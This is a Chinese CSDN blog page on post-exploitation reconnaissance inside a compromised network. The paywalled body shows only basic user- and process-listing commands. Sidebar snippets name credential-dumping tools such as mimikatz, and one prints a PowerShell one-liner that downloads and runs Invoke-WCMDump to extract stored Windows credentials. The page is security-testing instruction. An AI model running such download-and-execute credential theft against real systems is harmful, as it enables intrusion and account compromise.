内网信息搜集

最新推荐文章于 2024-07-13 11:41:33 发布
最新推荐文章于 2024-07-13 11:41:33 发布
阅读量622 收藏 1
点赞数 1
分类专栏： 后渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cxrpty/article/details/105055850
版权
本文介绍了内网信息搜集的方法，包括Windows和Linux系统下的用户列表、进程信息、服务状态、端口监听、补丁检查、共享资源及本地用户密码的获取。涉及的工具有net user、tasklist、netstat、systeminfo、wmic、mimikatz、wce、Invoke-WCMDump、LaZagne等。
摘要由CSDN通过智能技术生成

一、用户列表

windows：net user

    

linux：vim /etc/passwd

    

二、进程信息

windows：tasklist

    

杀死某个进程：taskkill  /pid  pid号  /f

    

linux：ps aux

    

 top

    

最低0.47元/天 解锁文章
没有如果ru果
关注
专栏目录
内网信息收集
weixin_41970600的博客
03-10 172
主机信息收集关键点: 主机名                 hostname ip信息            &nbs...
内网渗透-内网信息收集
lza20001103的博客
09-21 9479
内网信息收集 文章目录内网信息收集前言msf模块中的信息收集msf反弹shell后的信息收集内网信息收集后记 前言 当我们进行外网信息收集，漏洞探测以及漏洞利用后，获得了主机的权限后，我们需要扩大渗透的战果时，这是我们就要进行内网的渗透了，内网渗透最重要的还是前期的信息收集的操作了，就是我们的内网信息收集了，信息收集需要收集什么内容，对后期的横向和纵向移动都有很大的帮助。接下来给大家总结一下内网渗透中的信息收集的模块内容。 msf模块中的信息收集 Msf模块 run post/ run post/windo
内网信息收集——基本信息收集
最新发布
qq_55202378的博客
07-13 1010
一般情况下，一个域的用户只能访问本域内的资源，无法访问其他域的资源，而要想不同域之间实现互访就需要建立信任关系。查看当前主机的操作系统信息，包括当前主机的主机名、操作系统版本、系统目录、所处的工作站（域或工作组）、各网卡信息、安装的补丁信息等。，查看当前主机的端口连接情况，包括当前主机的TCP、UDP等端口监听或开放状况，以及当前主机与网络中其他主机建立的连接情况。，查看当前主机与其他主机远程建立的网络共享连接。，查看当前主机与所连接的客户端主机之间的会话。，查看当前主机开启的共享列表。
针对内网的信息搜集
weixin_30790841的博客
08-24 1697
信息收集（Information Gathering），信息收集是指通过各种方式获取所需要的信息，在整个渗透测试环节中，信息搜集是整个渗透过程中最为重要的一环，信息搜集可占据整个渗透测试80%左右的工作量，同样的如果尽可能搜集更多的信息，对于后期的渗透工作是非常有帮助的，本章将针对内网（域）环境进行信息的搜集工作，以作为学习笔记收录。 收集本机信息 ipconfig： 获取本地主机的IP...
内网渗透——内网信息收集
PICACHU+++的博客
07-22 1307
渗透测试进入内网之后，首先要对所处的内网环境进行判断，有以下三个方面：对当前机器角色进行判断对当前机器所处网络环境及拓扑结构进行判断分析对当前机器所处区域进行判断。
Linux内网信息收集
weixin_59114667的博客
03-16 285
Linux内网信息收集
内网信息收集.pdf
04-08
### 内网信息收集知识点详解 #### 一、概述 在进行网络安全测试或者渗透测试时，内网信息收集是一项至关重要的工作。通过收集内网的相关信息，可以更好地了解目标网络的架构、安全状况以及可能存在的漏洞，从而为...
11内网信息收集11111111111
07-05
在IT安全领域，内网信息收集是网络安全防护的重要一环，尤其对于企业网络而言，确保内部网络的安全性至关重要。本文将详细探讨内网信息收集的相关知识点，并以端口扫描工具Fscan为例，介绍其在信息收集过程中的应用...
局域网内所有电脑硬件信息和文件的采集
01-02
这是一款网管软件，可以对局域网内的电脑硬件信息进行采集，还可以搜集局域网内所有电脑的文件列表和内容，代码不是拿来就能用的，需要经过本地化修改，建议不懂vbs的就不要下载了。 需要安装sql2000服务器
wce内网渗透
03-23
用于内网渗透 抓去密码 抓到管理密码 打开内网 突破
Invoke-WCMDump结合powershell进行密码获取
03-26
Ivoke-WCMDump 什么是Credential Manager Credential Manager，中文翻译为凭据管理器，用来存储凭据(例如网站登录和主机远程连接的用户名密码)，如果用户选择存储凭据，那么当用户再次使用对应的操作，系统会自动填入凭据，实现自动登录，凭据保存在特定的位置，被称作为保管库(vault)(位于%localappdata%/Microsoft\Vault) 从Credential Manager导出Windows凭据的Powershell脚本 https://github.com/peewpw/Invoke-WCMDump PS>Import-Module .\Invoke-WCMDump.ps1 PS>Invoke-WCMDump powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1');Invoke-WCMDump"
invoke_impl.rar
04-24
std::invoke函数模板的两种实现源码，通过实现invoke，对C++模板编程，SFINAE机制，编译期分支，类型转发，类成员指针都有非常好的理解。第一种实现方式需要C++17，VS2019编译运行通过，第二种方式VS2017上编译运行通过。如果有问题请发邮件：13611050407@139.com
Invoke-Mimikatz.txt
03-01
Invoke-Mimikatz
内网信息收集(超级全)
yggcwhat
02-09 1398
内网信息收集 文章首发与奇安信攻防社区 https://forum.butian.net/share/236 简介 在渗透测试中信息收集的深度与广度以及对关键信息的提取，直接或间接的决定了渗透测试的质量，所以信息收集的重要性不容小觑，看得懂并不代表会，不如自己实操一遍，这里将提供一个单域的环境下载地址，进行信息收集。 单域环境 这张图为这次信息收集所搭建的单域内网环境。 工作组与域环境比较 工作组是一群计算机的集合，它仅仅是一个逻辑的集合，各自计算机还是各自管理的，你要访问其中的计算机，还是要
内网渗透技术与信息收集指南
"内网渗透工具与流程.pptx 是一份关于内网渗透测试的资料，详细介绍了内网信息收集的多种方法和使用的工具，涵盖了从基础的信息收集到更深入的系统分析。这份资料适用于网络安全专业人士，旨在提升对内网安全的理解...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值